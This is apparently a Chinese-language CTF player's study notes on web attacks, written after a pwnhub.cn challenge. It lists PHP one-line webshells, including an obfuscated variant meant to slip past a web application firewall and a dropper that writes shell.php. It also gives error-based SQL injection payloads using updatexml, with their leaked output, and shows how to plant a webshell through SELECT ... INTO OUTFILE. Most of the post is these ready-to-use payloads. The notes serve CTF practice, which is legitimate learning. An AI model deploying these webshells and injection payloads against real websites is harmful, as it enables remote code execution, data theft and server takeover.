今天怼了一道pwnhub.cn的pwn题,然后那道pwn题最终是要利用一个sql注入。。然后今天学了各种WEB姿势,先开个帖,以后碰到以后总结
文件包含漏洞
典型值
index.php?page=xxx;
xxx可能是md5、也可能是文件名
文件包含漏洞可以直接读各种文件,也可以怼php伪协议执行任意php代码,上传webshell
webshell的各种姿势
各种一句话木马
<?php echo system($_POST[1]);?>
---
POST 1=ls /home/ctf
<?php eval($_POST[1]);?>
<?php eval($_POST['passwd']);?>
可以用菜刀直接连
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[shell])?>');?>
可以改变木马等输出路径、也可以利用解析漏洞去解析木马
还有各种混淆版本,绕过waf,如
<?php @$_++;
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); // $__的值为_POST
@${$__}[!$_](${$__}[$_]);?>
也可以base64等各种编码解码。参考资料:
- http://www.91ri.org/11494.html
- http://www.mamicode.com/info-detail-1466690.html
- http://www.shangxueba.com/jingyan/1617540.html
菜刀不管用可以手动测试分析问题,有时候菜刀就是不管用
各种SQL注入
爆数据库名、表名、列名
select concat(group_concat(distinct schema_name)) from information_schema.schemata
select concat(group_concat(distinct table_name)) from information_schema.tables where table_schema=十六进制数据库名
select concat(group_concat(distinct column_name)) from information_schema.columns where table_schema=十六进制数据库名 and table_name=十六进制表名
报错注入
如果能够回显SQL的错误信息,则可以通过报错注入爆各种想爆的信息
select * from TOKENS where PASSWORD = 1 and (updatexml(0x3a,concat(1,(select user())),1))
---
ERROR 1105 (HY000): XPATH syntax error: 'pwnhub@localhost'
insert into TOKENS (TOKENS,PASSWORD) VALUES('222',''+(select TOKENS from BID where TOKENS =1233 and (updatexml(0x3a,concat(1,(select @@secure_file_priv)),1))));
---
ERROR 1105 (HY000): XPATH syntax error: '/var/lib/mysql-files/'
insert into TOKENS (TOKENS,PASSWORD) VALUES('222',''+(select TOKENS from BID where TOKENS =1233 and (updatexml(0x3a,concat(1,(select concat(group_concat(distinct table_name)) from information_schema.tables where table_schema=0x646174657769746866697265)),1))))
---
ERROR 1105 (HY000): XPATH syntax error: 'BID,TOKENS'
更多详见http://www.cnblogs.com/Dleo/p/5493782.html
SQL盲注
bool 盲注
利用SQL注入上传一句话木马
SELECT '<?php eval($_POST[1]);?>' INTO OUTFILE '/tmp/shell.php'
能否上传成功取决于select @@secure_file_priv的值,如果为空则在mysql层面上不做访问控制,如果为某目录则只能写到该目录中
select @@secure_file_priv
其他基础知识
MYSQL相关
CREATE USER 'username'@'host' IDENTIFIED BY 'password';
grant all privileges on *.* to pwnhub@localhost